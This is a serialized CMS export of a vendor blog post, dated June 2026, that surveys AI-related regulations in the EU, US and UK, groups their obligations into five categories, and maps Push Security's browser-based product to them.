require:",{"data":9563,"content":9564,"nodeType":4845},{},[9565,9612,9702,9768,9823,9947,10002,10069],{"data":9566,"content":9567,"nodeType":4581},{},[9568,9579,9590,9601],{"data":9569,"content":9570,"nodeType":4569},{},[9571],{"data":9572,"content":9573,"nodeType":860},{},[9574],{"data":9575,"marks":9576,"value":9578,"nodeType":864},{},[9577],{"type":899},"Regulation",{"data":9580,"content":9581,"nodeType":4569},{},[9582],{"data":9583,"content":9584,"nodeType":860},{},[9585],{"data":9586,"marks":9587,"value":9589,"nodeType":864},{},[9588],{"type":899},"Jurisdiction",{"data":9591,"content":9592,"nodeType":4569},{},[9593],{"data":9594,"content":9595,"nodeType":860},{},[9596],{"data":9597,"marks":9598,"value":9600,"nodeType":864},{},[9599],{"type":899},"What it requires for AI",{"data":9602,"content":9603,"nodeType":4569},{},[9604],{"data":9605,"content":9606,"nodeType":860},{},[9607],{"data":9608,"marks":9609,"value":9611,"nodeType":864},{},[9610],{"type":899},"Status",{"data":9613,"content":9614,"nodeType":4581},{},[9615,9637,9647,9681],{"data":9616,"content":9617,"nodeType":4569},{},[9618],{"data":9619,"content":9620,"nodeType":860},{},[9621,9624,9634],{"data":9622,"marks":9623,"value":21,"nodeType":864},{},[],{"data":9625,"content":9627,"nodeType":883},{"uri":9626},"https://artificialintelligenceact.eu/",[9628],{"data":9629,"marks":9630,"value":9633,"nodeType":864},{},[9631,9632],{"type":1455},{"type":899},"EU AI Act",{"data":9635,"marks":9636,"value":21,"nodeType":864},{},[],{"data":9638,"content":9639,"nodeType":4569},{},[9640],{"data":9641,"content":9642,"nodeType":860},{},[9643],{"data":9644,"marks":9645,"value":9646,"nodeType":864},{},[],"EU",{"data":9648,"content":9649,"nodeType":4569},{},[9650],{"data":9651,"content":9652,"nodeType":860},{},[9653,9657,9665,9669,9677],{"data":9654,"marks":9655,"value":9656,"nodeType":864},{},[],"AI system inventory and risk classification; ",{"data":9658,"content":9660,"nodeType":883},{"uri":9659},"https://artificialintelligenceact.eu/article/4/",[9661],{"data":9662,"marks":9663,"value":9664,"nodeType":864},{},[],"AI literacy",{"data":9666,"marks":9667,"value":9668,"nodeType":864},{},[]," for all staff; ",{"data":9670,"content":9672,"nodeType":883},{"uri":9671},"https://artificialintelligenceact.eu/article/15/",[9673],{"data":9674,"marks":9675,"value":9676,"nodeType":864},{},[],"cybersecurity resilience",{"data":9678,"marks":9679,"value":9680,"nodeType":864},{},[]," for high-risk AI; transparency and human oversight",{"data":9682,"content":9683,"nodeType":4569},{},[9684],{"data":9685,"content":9686,"nodeType":860},{},[9687,9690,9698],{"data":9688,"marks":9689,"value":21,"nodeType":864},{},[],{"data":9691,"content":9692,"nodeType":883},{"uri":9659},[9693],{"data":9694,"marks":9695,"value":9697,"nodeType":864},{},[9696],{"type":1455},"Art. 4",{"data":9699,"marks":9700,"value":9701,"nodeType":864},{},[]," (literacy) in force Feb 2025; high-risk obligations Aug 2026",{"data":9703,"content":9704,"nodeType":4581},{},[9705,9727,9737,9758],{"data":9706,"content":9707,"nodeType":4569},{},[9708],{"data":9709,"content":9710,"nodeType":860},{},[9711,9714,9724],{"data":9712,"marks":9713,"value":21,"nodeType":864},{},[],{"data":9715,"content":9717,"nodeType":883},{"uri":9716},"https://eur-lex.europa.eu/eli/reg/2022/2554/oj",[9718],{"data":9719,"marks":9720,"value":9723,"nodeType":864},{},[9721,9722],{"type":1455},{"type":899},"DORA",{"data":9725,"marks":9726,"value":21,"nodeType":864},{},[],{"data":9728,"content":9729,"nodeType":4569},{},[9730],{"data":9731,"content":9732,"nodeType":860},{},[9733],{"data":9734,"marks":9735,"value":9736,"nodeType":864},{},[],"EU financial services",{"data":9738,"content":9739,"nodeType":4569},{},[9740],{"data":9741,"content":9742,"nodeType":860},{},[9743,9747,9754],{"data":9744,"marks":9745,"value":9746,"nodeType":864},{},[],"AI tools in ICT risk framework; AI providers in ",{"data":9748,"content":9749,"nodeType":883},{"uri":9716},[9750],{"data":9751,"marks":9752,"value":9753,"nodeType":864},{},[],"third-party risk registers",{"data":9755,"marks":9756,"value":9757,"nodeType":864},{},[],"; resilience testing covering AI-enhanced attacks",{"data":9759,"content":9760,"nodeType":4569},{},[9761],{"data":9762,"content":9763,"nodeType":860},{},[9764],{"data":9765,"marks":9766,"value":9767,"nodeType":864},{},[],"In force Jan 2025",{"data":9769,"content":9770,"nodeType":4581},{},[9771,9793,9803,9813],{"data":9772,"content":9773,"nodeType":4569},{},[9774],{"data":9775,"content":9776,"nodeType":860},{},[9777,9780,9790],{"data":9778,"marks":9779,"value":21,"nodeType":864},{},[],{"data":9781,"content":9783,"nodeType":883},{"uri":9782},"https://eur-lex.europa.eu/eli/reg/2024/2847/oj",[9784],{"data":9785,"marks":9786,"value":9789,"nodeType":864},{},[9787,9788],{"type":1455},{"type":899},"EU Cyber Resilience Act",{"data":9791,"marks":9792,"value":21,"nodeType":864},{},[],{"data":9794,"content":9795,"nodeType":4569},{},[9796],{"data":9797,"content":9798,"nodeType":860},{},[9799],{"data":9800,"marks":9801,"value":9802,"nodeType":864},{},[],"EU digital products",{"data":9804,"content":9805,"nodeType":4569},{},[9806],{"data":9807,"content":9808,"nodeType":860},{},[9809],{"data":9810,"marks":9811,"value":9812,"nodeType":864},{},[],"AI-enabled software must meet essential cybersecurity requirements; vulnerability management and incident reporting",{"data":9814,"content":9815,"nodeType":4569},{},[9816],{"data":9817,"content":9818,"nodeType":860},{},[9819],{"data":9820,"marks":9821,"value":9822,"nodeType":864},{},[],"Reporting Sep 2026; full compliance Dec 2027",{"data":9824,"content":9825,"nodeType":4581},{},[9826,9848,9858,9907],{"data":9827,"content":9828,"nodeType":4569},{},[9829],{"data":9830,"content":9831,"nodeType":860},{},[9832,9835,9845],{"data":9833,"marks":9834,"value":21,"nodeType":864},{},[],{"data":9836,"content":9838,"nodeType":883},{"uri":9837},"https://www.dfs.ny.gov/industry_guidance/cybersecurity",[9839],{"data":9840,"marks":9841,"value":9844,"nodeType":864},{},[9842,9843],{"type":1455},{"type":899},"NYDFS 23 NYCRR 500",{"data":9846,"marks":9847,"value":21,"nodeType":864},{},[],{"data":9849,"content":9850,"nodeType":4569},{},[9851],{"data":9852,"content":9853,"nodeType":860},{},[9854],{"data":9855,"marks":9856,"value":9857,"nodeType":864},{},[],"US (NY financial services)",{"data":9859,"content":9860,"nodeType":4569},{},[9861],{"data":9862,"content":9863,"nodeType":860},{},[9864,9867,9876,9880,9888,9892,9904],{"data":9865,"marks":9866,"value":21,"nodeType":864},{},[],{"data":9868,"content":9870,"nodeType":883},{"uri":9869},"https://www.dfs.ny.gov/industry-guidance/industry-letters/il20241016-cyber-risks-ai-and-strategies-combat-related-risks",[9871],{"data":9872,"marks":9873,"value":9875,"nodeType":864},{},[9874],{"type":1455},"AI-resistant MFA",{"data":9877,"marks":9878,"value":9879,"nodeType":864},{},[],"; employee training on AI threats; ",{"data":9881,"content":9883,"nodeType":883},{"uri":9882},"https://www.dfs.ny.gov/industry-guidance/industry-letters/il20251021-guidance-managing-risks-third-party",[9884],{"data":9885,"marks":9886,"value":9887,"nodeType":864},{},[],"third-party AI risk assessment",{"data":9889,"marks":9890,"value":9891,"nodeType":864},{},[],";",{"data":9893,"content":9895,"nodeType":883},{"uri":9894},"https://www.dfs.ny.gov/industry-guidance/industry-letters/20260521-heightened-cybersecurity-risks-assoc-with-frontier-ai-models",[9896,9899],{"data":9897,"marks":9898,"value":1171,"nodeType":864},{},[],{"data":9900,"marks":9901,"value":9903,"nodeType":864},{},[9902],{"type":1455},"frontier AI model defenses",{"data":9905,"marks":9906,"value":21,"nodeType":864},{},[],{"data":9908,"content":9909,"nodeType":4569},{},[9910],{"data":9911,"content":9912,"nodeType":860},{},[9913,9917,9924,9927,9934,9937,9944],{"data":9914,"marks":9915,"value":9916,"nodeType":864},{},[],"Phased 2023–2025; AI-specific guidance issued ",{"data":9918,"content":9919,"nodeType":883},{"uri":9869},[9920],{"data":9921,"marks":9922,"value":9923,"nodeType":864},{},[],"Oct 2024",{"data":9925,"marks":9926,"value":3731,"nodeType":864},{},[],{"data":9928,"content":9929,"nodeType":883},{"uri":9882},[9930],{"data":9931,"marks":9932,"value":9933,"nodeType":864},{},[],"Oct 2025",{"data":9935,"marks":9936,"value":3731,"nodeType":864},{},[],{"data":9938,"content":9939,"nodeType":883},{"uri":9894},[9940],{"data":9941,"marks":9942,"value":9943,"nodeType":864},{},[],"May 2026",{"data":9945,"marks":9946,"value":21,"nodeType":864},{},[],{"data":9948,"content":9949,"nodeType":4581},{},[9950,9972,9982,9992],{"data":9951,"content":9952,"nodeType":4569},{},[9953],{"data":9954,"content":9955,"nodeType":860},{},[9956,9959,9969],{"data":9957,"marks":9958,"value":21,"nodeType":864},{},[],{"data":9960,"content":9962,"nodeType":883},{"uri":9961},"https://www.ncsl.org/technology-and-communication/2025-state-privacy-legislation-tracker",[9963],{"data":9964,"marks":9965,"value":9968,"nodeType":864},{},[9966,9967],{"type":1455},{"type":899},"US State Privacy laws",{"data":9970,"marks":9971,"value":21,"nodeType":864},{},[],{"data":9973,"content":9974,"nodeType":4569},{},[9975],{"data":9976,"content":9977,"nodeType":860},{},[9978],{"data":9979,"marks":9980,"value":9981,"nodeType":864},{},[],"US (20+ states)",{"data":9983,"content":9984,"nodeType":4569},{},[9985],{"data":9986,"content":9987,"nodeType":860},{},[9988],{"data":9989,"marks":9990,"value":9991,"nodeType":864},{},[],"Automated decision-making transparency, opt-out rights, and impact assessments; AI and children's data protections",{"data":9993,"content":9994,"nodeType":4569},{},[9995],{"data":9996,"content":9997,"nodeType":860},{},[9998],{"data":9999,"marks":10000,"value":10001,"nodeType":864},{},[],"Rolling 2024–2027 (CA, CO, CT leading)",{"data":10003,"content":10004,"nodeType":4581},{},[10005,10027,10037,10047],{"data":10006,"content":10007,"nodeType":4569},{},[10008],{"data":10009,"content":10010,"nodeType":860},{},[10011,10014,10024],{"data":10012,"marks":10013,"value":21,"nodeType":864},{},[],{"data":10015,"content":10017,"nodeType":883},{"uri":10016},"https://www.hhs.gov/hipaa/for-professionals/security/hipaa-security-rule-nprm/index.html",[10018],{"data":10019,"marks":10020,"value":10023,"nodeType":864},{},[10021,10022],{"type":1455},{"type":899},"HIPAA Security Rule",{"data":10025,"marks":10026,"value":21,"nodeType":864},{},[],{"data":10028,"content":10029,"nodeType":4569},{},[10030],{"data":10031,"content":10032,"nodeType":860},{},[10033],{"data":10034,"marks":10035,"value":10036,"nodeType":864},{},[],"US healthcare",{"data":10038,"content":10039,"nodeType":4569},{},[10040],{"data":10041,"content":10042,"nodeType":860},{},[10043],{"data":10044,"marks":10045,"value":10046,"nodeType":864},{},[],"AI tools in mandatory technology asset inventory; mandatory encryption covering AI; AI-enhanced attack preparedness",{"data":10048,"content":10049,"nodeType":4569},{},[10050],{"data":10051,"content":10052,"nodeType":860},{},[10053,10056,10065],{"data":10054,"marks":10055,"value":21,"nodeType":864},{},[],{"data":10057,"content":10059,"nodeType":883},{"uri":10058},"https://www.hhs.gov/hipaa/for-professionals/security/hipaa-security-rule-nprm/factsheet/index.html",[10060],{"data":10061,"marks":10062,"value":10064,"nodeType":864},{},[10063],{"type":1455},"Final rule",{"data":10066,"marks":10067,"value":10068,"nodeType":864},{},[]," expected 2026",{"data":10070,"content":10071,"nodeType":4581},{},[10072,10094,10104,10126],{"data":10073,"content":10074,"nodeType":4569},{},[10075],{"data":10076,"content":10077,"nodeType":860},{},[10078,10081,10091],{"data":10079,"marks":10080,"value":21,"nodeType":864},{},[],{"data":10082,"content":10084,"nodeType":883},{"uri":10083},"https://www.legislation.gov.uk/ukpga/2025/18",[10085],{"data":10086,"marks":10087,"value":10090,"nodeType":864},{},[10088,10089],{"type":1455},{"type":899},"UK Data (Use and Access) Act",{"data":10092,"marks":10093,"value":21,"nodeType":864},{},[],{"data":10095,"content":10096,"nodeType":4569},{},[10097],{"data":10098,"content":10099,"nodeType":860},{},[10100],{"data":10101,"marks":10102,"value":10103,"nodeType":864},{},[],"UK",{"data":10105,"content":10106,"nodeType":4569},{},[10107],{"data":10108,"content":10109,"nodeType":860},{},[10110,10114,10122],{"data":10111,"marks":10112,"value":10113,"nodeType":864},{},[],"Reformed ",{"data":10115,"content":10117,"nodeType":883},{"uri":10116},"https://www.legislation.gov.uk/ukpga/2025/18/section/80",[10118],{"data":10119,"marks":10120,"value":10121,"nodeType":864},{},[],"automated decision-making rules",{"data":10123,"marks":10124,"value":10125,"nodeType":864},{},[]," (new Arts. 22A-22D UK GDPR): meaningful information about decisions, right to make representations, human intervention and contestation rights; stricter controls for special category data; new complaints-handling duty with 30-day response clock (from June 2026)",{"data":10127,"content":10128,"nodeType":4569},{},[10129],{"data":10130,"content":10131,"nodeType":860},{},[10132],{"data":10133,"marks":10134,"value":10135,"nodeType":864},{},[],"Main provisions Feb 2026; complaints duty June 2026",{"data":10137,"content":10141,"nodeType":996},{"target":10138},{"sys":10139},{"id":10140,"type":1001,"linkType":1002},"1J7nJKJ5XDLLiicX9cD4H1",[],{"data":10143,"content":10144,"nodeType":860},{},[10145],{"data":10146,"marks":10147,"value":10148,"nodeType":864},{},[],"Even if your organization isn't yet subject to these specific regulations, the direction of travel matters. The EU has a track record of setting global regulatory standards: GDPR reshaped data privacy practices worldwide, and the Digital Markets Act is influencing antitrust enforcement well beyond European borders.",{"data":10150,"content":10151,"nodeType":860},{},[10152],{"data":10153,"marks":10154,"value":10155,"nodeType":864},{},[],"The EU AI Act is the world's first comprehensive AI law, and the pattern of obligation categories it establishes is already visible in NYDFS guidance, US state privacy legislation, and the UK's reformed automated decision-making framework. Organizations that build the operational foundations to meet these obligations now will be ahead of whatever comes next, regardless of jurisdiction.",{"data":10157,"content":10158,"nodeType":1005},{},[],{"data":10160,"content":10161,"nodeType":1009},{},[10162],{"data":10163,"marks":10164,"value":10166,"nodeType":864},{},[10165],{"type":899},"Five obligation categories appear across frameworks",{"data":10168,"content":10169,"nodeType":860},{},[10170],{"data":10171,"marks":10172,"value":10173,"nodeType":864},{},[],"Across these frameworks, the AI-specific obligations cluster into five categories. Individual regulations word them differently and scope them to different sectors, but the compliance actions they require are largely the same.",{"data":10175,"content":10176,"nodeType":1312},{},[10177],{"data":10178,"marks":10179,"value":10181,"nodeType":864},{},[10180],{"type":899},"1. AI inventory and classification",{"data":10183,"content":10184,"nodeType":860},{},[10185],{"data":10186,"marks":10187,"value":10188,"nodeType":864},{},[],"You can't classify AI systems by risk level if you don't know which ones your employees are using. Multiple regulations now require organizations to maintain a complete inventory of AI tools in their environment — whether as part of risk classification, asset management, or third-party risk registers.",{"data":10190,"content":10194,"nodeType":996},{"target":10191},{"sys":10192},{"id":10193,"type":1001,"linkType":1002},"6MEapKaazFTulp7Ql0m7H1",[],{"data":10196,"content":10199,"nodeType":996},{"target":10197},{"sys":10198},{"id":1040,"type":1001,"linkType":1002},[],{"data":10201,"content":10202,"nodeType":1312},{},[10203],{"data":10204,"marks":10205,"value":10207,"nodeType":864},{},[10206],{"type":899},"2. AI literacy and employee guidance",{"data":10209,"content":10210,"nodeType":860},{},[10211,10215,10220],{"data":10212,"marks":10213,"value":10214,"nodeType":864},{},[],"Regulators increasingly expect organizations to demonstrate that employees understand the AI tools they use — not through annual training alone, but through continuous, contextual guidance at the point of interaction. Several frameworks now require auditable evidence that staff have been educated about AI risks and acceptable use policies. The common thread is the need for ",{"data":10216,"marks":10217,"value":10219,"nodeType":864},{},[10218],{"type":899},"ongoing",{"data":10221,"marks":10222,"value":10223,"nodeType":864},{},[]," education, not as a one-off compliance exercise, but continuously at the point of interaction.",{"data":10225,"content":10226,"nodeType":1312},{},[10227],{"data":10228,"marks":10229,"value":10231,"nodeType":864},{},[10230],{"type":899},"3. AI data governance and exposure control",{"data":10233,"content":10234,"nodeType":860},{},[10235],{"data":10236,"marks":10237,"value":10238,"nodeType":864},{},[],"Regulations are converging on the requirement for controls over what data enters AI tools. This includes sensitive personal data, health data, and data subject to automated decision-making. Organizations need to know where personal data is being processed by AI and have mechanisms to prevent unauthorized exposure.",{"data":10240,"content":10241,"nodeType":1312},{},[10242],{"data":10243,"marks":10244,"value":10246,"nodeType":864},{},[10245],{"type":899},"4. AI-resistant authentication and phishing defense",{"data":10248,"content":10249,"nodeType":860},{},[10250],{"data":10251,"marks":10252,"value":10253,"nodeType":864},{},[],"AI is making phishing attacks more convincing and harder to detect through traditional means. Several frameworks now require authentication methods that can withstand AI-enhanced attacks, specifically naming phishing-resistant options like digital certificates and security keys over SMS or voice-based authentication. Beyond authentication, organizations need defenses against AI-powered phishing that bypasses the lure-quality signals users were trained to spot.",{"data":10255,"content":10259,"nodeType":996},{"target":10256},{"sys":10257},{"id":10258,"type":1001,"linkType":1002},"6v3l0lGH6twfYi2JaM5fKt",[],{"data":10261,"content":10262,"nodeType":1312},{},[10263],{"data":10264,"marks":10265,"value":10267,"nodeType":864},{},[10266],{"type":899},"5. Third-party AI risk and supply chain governance",{"data":10269,"content":10270,"nodeType":860},{},[10271],{"data":10272,"marks":10273,"value":10274,"nodeType":864},{},[],"Employees adopt AI tools faster than procurement can track them, and each one that connects to corporate systems via OAuth creates a persistent trust relationship. Regulators now require organizations to know which third-party AI services they depend on, what permissions those services hold, and whether they introduce concentration risk. ",{"data":10276,"content":10280,"nodeType":996},{"target":10277},{"sys":10278},{"id":10279,"type":1001,"linkType":1002},"7xx2yYRJXBY55qTqBTTZcp",[],{"data":10282,"content":10283,"nodeType":1005},{},[],{"data":10285,"content":10286,"nodeType":1009},{},[10287],{"data":10288,"marks":10289,"value":10291,"nodeType":864},{},[10290],{"type":899},"How the regulations will be enforced",{"data":10293,"content":10294,"nodeType":860},{},[10295,10299,10307],{"data":10296,"marks":10297,"value":10298,"nodeType":864},{},[],"The consequences extend well beyond fines. EU AI Act penalties reach ",{"data":10300,"content":10302,"nodeType":883},{"uri":10301},"https://artificialintelligenceact.eu/article/99/",[10303],{"data":10304,"marks":10305,"value":10306,"nodeType":864},{},[],"€35 million or 7% of global turnover",{"data":10308,"marks":10309,"value":10310,"nodeType":864},{},[]," for prohibited practices, but the operational impact may bite harder: non-compliant AI systems cannot be placed on the EU market, and providers bear direct responsibility for conformity under Articles 16 and 26 — meaning the CISO who signed off on an AI deployment that turns out to be non-compliant has personal exposure, not just a budget line item.",{"data":10312,"content":10313,"nodeType":860},{},[10314,10318,10327],{"data":10315,"marks":10316,"value":10317,"nodeType":864},{},[],"Italy's implementation law (",{"data":10319,"content":10321,"nodeType":883},{"uri":10320},"https://www.nortonrosefulbright.com/en/knowledge/publications/9bfedfea/italy-enacts-law-no-132-2025-on-artificial-intelligence-sector-rules-and-next-steps",[10322],{"data":10323,"marks":10324,"value":10326,"nodeType":864},{},[10325],{"type":1455},"Law No. 132/2025",{"data":10328,"marks":10329,"value":10330,"nodeType":864},{},[],") goes further, introducing criminal penalties including imprisonment for AI-related offenses like deepfake dissemination.",{"data":10332,"content":10333,"nodeType":860},{},[10334,10338,10346],{"data":10335,"marks":10336,"value":10337,"nodeType":864},{},[],"NYDFS penalties accumulate at $2,500 per day per violation, and the regulator has been aggressive: it levied ",{"data":10339,"content":10341,"nodeType":883},{"uri":10340},"https://pushsecurity.com/blog/what-the-expansion-of-nydfs-nycrr-part-500-means-for-mfa-compliance/",[10342],{"data":10343,"marks":10344,"value":10345,"nodeType":864},{},[],"$14 million in fines",{"data":10347,"marks":10348,"value":10349,"nodeType":864},{},[]," from companies with inadequate MFA. CISOs sign annual compliance certifications under §500.17 where false certification carries personal liability.",{"data":10351,"content":10352,"nodeType":860},{},[10353],{"data":10354,"marks":10355,"value":10356,"nodeType":864},{},[],"The UK's Data (Use and Access) Act preserves ICO enforcement powers with fines up to £17.5 million or 4% of global turnover, and introduces a new statutory right for individuals to complain directly to controllers about automated decisions, with a 30-day response clock.",{"data":10358,"content":10359,"nodeType":1005},{},[],{"data":10361,"content":10362,"nodeType":1009},{},[10363],{"data":10364,"marks":10365,"value":10367,"nodeType":864},{},[10366],{"type":899},"Where Push maps to these obligations",{"data":10369,"content":10370,"nodeType":860},{},[10371],{"data":10372,"marks":10373,"value":10374,"nodeType":864},{},[],"The five obligation categories above map to specific Push capabilities, some directly, others as supporting evidence. Push's relevance to AI regulation isn't a new product direction. The same capabilities that security teams already use for shadow SaaS discovery, phishing defense, and identity posture hardening are what compliance teams need to demonstrate AI governance.",{"data":10376,"content":10377,"nodeType":1312},{},[10378,10383],{"data":10379,"marks":10380,"value":10382,"nodeType":864},{},[10381],{"type":899},"AI inventory and shadow AI discovery.",{"data":10384,"marks":10385,"value":1171,"nodeType":864},{},[],{"data":10387,"content":10388,"nodeType":860},{},[10389],{"data":10390,"marks":10391,"value":10392,"nodeType":864},{},[],"Push identifies every AI app, AI browser extension, and AI OAuth integration in use across the organization, not from network traffic patterns or procurement records, but from actual observed usage in the browser.",{"data":10394,"content":10395,"nodeType":1312},{},[10396,10401],{"data":10397,"marks":10398,"value":10400,"nodeType":864},{},[10399],{"type":899},"AI usage policy enforcement and literacy evidence.",{"data":10402,"marks":10403,"value":1171,"nodeType":864},{},[],{"data":10405,"content":10406,"nodeType":860},{},[10407],{"data":10408,"marks":10409,"value":10410,"nodeType":864},{},[],"Push's custom app banners deliver contextual policy guidance the moment an employee accesses an AI tool: linking to approved usage policies, data handling guidelines, or approved alternatives. Banners are fully customizable: they can include specific instructions, link to AI policy documents or approved alternatives, and messages from the security team tailored to the tool or user group. ",{"data":10412,"content":10416,"nodeType":996},{"target":10413},{"sys":10414},{"id":10415,"type":1001,"linkType":1002},"4bt65QXDiyTi1eq7wnbHUh",[],{"data":10418,"content":10419,"nodeType":1312},{},[10420,10425],{"data":10421,"marks":10422,"value":10424,"nodeType":864},{},[10423],{"type":899},"AI data exposure controls.",{"data":10426,"marks":10427,"value":1171,"nodeType":864},{},[],{"data":10429,"content":10430,"nodeType":860},{},[10431],{"data":10432,"marks":10433,"value":10434,"nodeType":864},{},[],"Push observes what users type, paste, and upload into AI tools, and can apply real-time controls, warning or blocking when sensitive patterns are detected. This is browser-layer DLP scoped to the AI interaction surface: it won't replace a dedicated DLP platform, but it closes the specific gap that most DLP tools miss because they lack visibility into browser-based AI interactions. Push provides the detection and enforcement layer at the point where the data actually leaves the organization.",{"data":10436,"content":10437,"nodeType":1312},{},[10438,10443],{"data":10439,"marks":10440,"value":10442,"nodeType":864},{},[10441],{"type":899},"MFA verification and phishing defense.",{"data":10444,"marks":10445,"value":1171,"nodeType":864},{},[],{"data":10447,"content":10448,"nodeType":860},{},[10449],{"data":10450,"marks":10451,"value":10452,"nodeType":864},{},[],"Push detects where MFA is missing and identifies the type of MFA in use, directly supporting the push toward phishing-resistant authentication methods.",{"data":10454,"content":10455,"nodeType":860},{},[10456],{"data":10457,"marks":10458,"value":10459,"nodeType":864},{},[],"Push's behavioral phishing detection stops AiTM phishing, credential harvesting, device code phishing, and ClickFix attacks because Push detects malicious behavior in the browser, making it effective against even AI-powered phishing attacks, or those that are delivered over traditionally unmonitored channels such as search engines, social media, or even via phone call.",{"data":10461,"content":10465,"nodeType":996},{"target":10462},{"sys":10463},{"id":10464,"type":1001,"linkType":1002},"3hqv1nql8FvB8j7uRiddqB",[],{"data":10467,"content":10468,"nodeType":1312},{},[10469,10474],{"data":10470,"marks":10471,"value":10473,"nodeType":864},{},[10472],{"type":899},"Third-party AI risk visibility.",{"data":10475,"marks":10476,"value":1171,"nodeType":864},{},[],{"data":10478,"content":10479,"nodeType":860},{},[10480],{"data":10481,"marks":10482,"value":10483,"nodeType":864},{},[],"Push maps exactly which AI services employees have accessed and used, connected to other business apps via OAuth, what permissions those integrations hold, and who authorized them. This surfaces the AI providers that procurement never approved but employees adopted anyway, before they become a compliance finding or a breach vector.",{"data":10485,"content":10486,"nodeType":1005},{},[],{"data":10488,"content":10489,"nodeType":1009},{},[10490],{"data":10491,"marks":10492,"value":10494,"nodeType":864},{},[10493],{"type":899},"The compliance gap is an observability gap",{"data":10496,"content":10497,"nodeType":860},{},[10498],{"data":10499,"marks":10500,"value":10501,"nodeType":864},{},[],"The common failure mode across all five obligation categories is the same: the organization has a policy but can't demonstrate enforcement, because the tooling that would provide evidence operates at the wrong layer. IdP logs show managed authentication but not shadow AI logins. Network tools see traffic to AI domains but not the OAuth consent grants or the data in the clipboard. Annual training records exist but can't prove that an employee received guidance at the point of AI interaction.",{"data":10503,"content":10504,"nodeType":860},{},[10505],{"data":10506,"marks":10507,"value":10508,"nodeType":864},{},[],"Browser-layer telemetry closes each of these gaps because it's where the regulated activity actually happens, and where (with Push) you can observe and control it too.",{"data":10510,"content":10511,"nodeType":860},{},[10512],{"data":10513,"marks":10514,"value":10515,"nodeType":864},{},[],"The regulations covered here are the current landscape, but they aren't the final one. AI governance requirements are accelerating: NIST's AI cybersecurity framework profile is expected this summer, CISA's Five Eyes agentic AI guidance landed in May, and EU member states are still building out their national enforcement regimes.",{"data":10517,"content":10521,"nodeType":996},{"target":10518},{"sys":10519},{"id":10520,"type":1001,"linkType":1002},"OThPeKuFnpoo1e1FAGsFP",[],{"data":10523,"content":10524,"nodeType":1005},{},[],{"data":10526,"content":10527,"nodeType":860},{},[10528],{"data":10529,"marks":10530,"value":1682,"nodeType":864},{},[],{"data":10532,"content":10533,"nodeType":860},{},[10534],{"data":10535,"marks":10536,"value":1689,"nodeType":864},{},[],{"data":10538,"content":10539,"nodeType":860},{},[10540,10543,10550],{"data":10541,"marks":10542,"value":21,"nodeType":864},{},[],{"data":10544,"content":10545,"nodeType":883},{"uri":1700},[10546],{"data":10547,"marks":10548,"value":1703,"nodeType":864},{},[10549],{"type":1455},{"data":10551,"marks":10552,"value":21,"nodeType":864},{},[],"AI regulation is here: how browser visibility and control can achieve compliance","AI regulations across the US, EU, and UK are converging on obligations that most organizations can't meet without browser visibility into AI tool use.","2026-06-02T00:00:00.000Z","browser-visibility-and-control-can-achieve-ai-compliance",{"items":10558},[10559,10561],{"sys":10560,"name":2729},{"id":2728},{"sys":10562,"name":297},{"id":2732},{"items":10564},[10565],{"fullName":10566,"firstName":10567,"jobTitle":10568,"profilePicture":10569},"John Creaton","John","Head of Legal",{"url":10570},"https://images.ctfassets.net/y1cdw1ablpvd/ykgZqhGCFFxufznVsqTiM/6bd977c68dd504642f0064bdb90ebdee/1774636973277.jpeg",{"__typename":2059,"sys":10572,"content":10573,"title":4865,"synopsis":4866,"hashTags":59,"publishedDate":4867,"slug":4868,"tagsCollection":11642,"authorsCollection":11648},{"id":3628},{"json":10574},{"data":10575,"content":10576,"nodeType":856},{},[10577,10590,10595,10601,10607,10612,10615,10622,10629,10644,10682,10687,10700,10703,10710,10717,10739,10771,10777,10780,10787,10794,10800,10805,10811,10814,10821,10828,10862,10892,10898,10901,10908,10915,10935,10941,10980,10986,10989,10996,11003,11039,11045,11050,11053,11060,11067,11093,11099,11104,11110,11113,11120,11127,11150,11156,11162,11168,11171,11178,11185,11191,11196,11202,11223,11246,11249,11256,11263,11269,11275,11278,11285,11340,11343,11350,11356,11624,11627],{"data":10578,"content":10579,"nodeType":860},{},[10580,10583,10587],{"data":10581,"marks":10582,"value":3639,"nodeType":864},{},[],{"data":10584,"marks":10585,"value":3644,"nodeType":864},{},[10586],{"type":899},{"data":10588,"marks":10589,"value":3648,"nodeType":864},{},[],{"data":10591,"content":10594,"nodeType":996},{"target":10592},{"sys":10593},{"id":3653,"type":1001,"linkType":1002},[],{"data":10596,"content":10597,"nodeType":860},{},[10598],{"data":10599,"marks":10600,"value":3661,"nodeType":864},{},[],{"data":10602,"content":10603,"nodeType":860},{},[10604],{"data":10605,"marks":10606,"value":3668,"nodeType":864},{},[],{"data":10608,"content":10611,"nodeType":996},{"target":10609},{"sys":10610},{"id":3673,"type":1001,"linkType":1002},[],{"data":10613,"content":10614,"nodeType":1005},{},[],{"data":10616,"content":10617,"nodeType":1009},{},[10618],{"data":10619,"marks":10620,"value":3685,"nodeType":864},{},[10621],{"type":899},{"data":10623,"content":10624,"nodeType":860},{},[10625],{"data":10626,"marks":10627,"value":3693,"nodeType":864},{},[10628],{"type":899},{"data":10630,"content":10631,"nodeType":860},{},[10632,10635,10641],{"data":10633,"marks":10634,"value":3700,"nodeType":864},{},[],{"data":10636,"content":10637,"nodeType":883},{"uri":3703},[10638],{"data":10639,"marks":10640,"value":3708,"nodeType":864},{},[],{"data":10642,"marks":10643,"value":3712,"nodeType":864},{},[],{"data":10645,"content":10646,"nodeType":860},{},[10647,10650,10656,10659,10663,10666,10670,10673,10679],{"data":10648,"marks":10649,"value":3719,"nodeType":864},{},[],{"data":10651,"content":10652,"nodeType":883},{"uri":3722},[10653],{"data":10654,"marks":10655,"value":3727,"nodeType":864},{},[],{"data":10657,"marks":10658,"value":3731,"nodeType":864},{},[],{"data":10660,"marks":10661,"value":3736,"nodeType":864},{},[10662],{"type":899},{"data":10664,"marks":10665,"value":2232,"nodeType":864},{},[],{"data":10667,"marks":10668,"value":3744,"nodeType":864},{},[10669],{"type":899},{"data":10671,"marks":10672,"value":3748,"nodeType":864},{},[],{"data":10674,"content":10675,"nodeType":883},{"uri":3751},[10676],{"data":10677,"marks":10678,"value":3756,"nodeType":864},{},[],{"data":10680,"marks":10681,"value":3760,"nodeType":864},{},[],{"data":10683,"content":10686,"nodeType":996},{"target":10684},{"sys":10685},{"id":3765,"type":1001,"linkType":1002},[],{"data":10688,"content":10689,"nodeType":860},{},[10690,10693,10697],{"data":10691,"marks":10692,"value":3773,"nodeType":864},{},[],{"data":10694,"marks":10695,"value":3778,"nodeType":864},{},[10696],{"type":899},{"data":10698,"marks":10699,"value":2924,"nodeType":864},{},[],{"data":10701,"content":10702,"nodeType":1005},{},[],{"data":10704,"content":10705,"nodeType":1009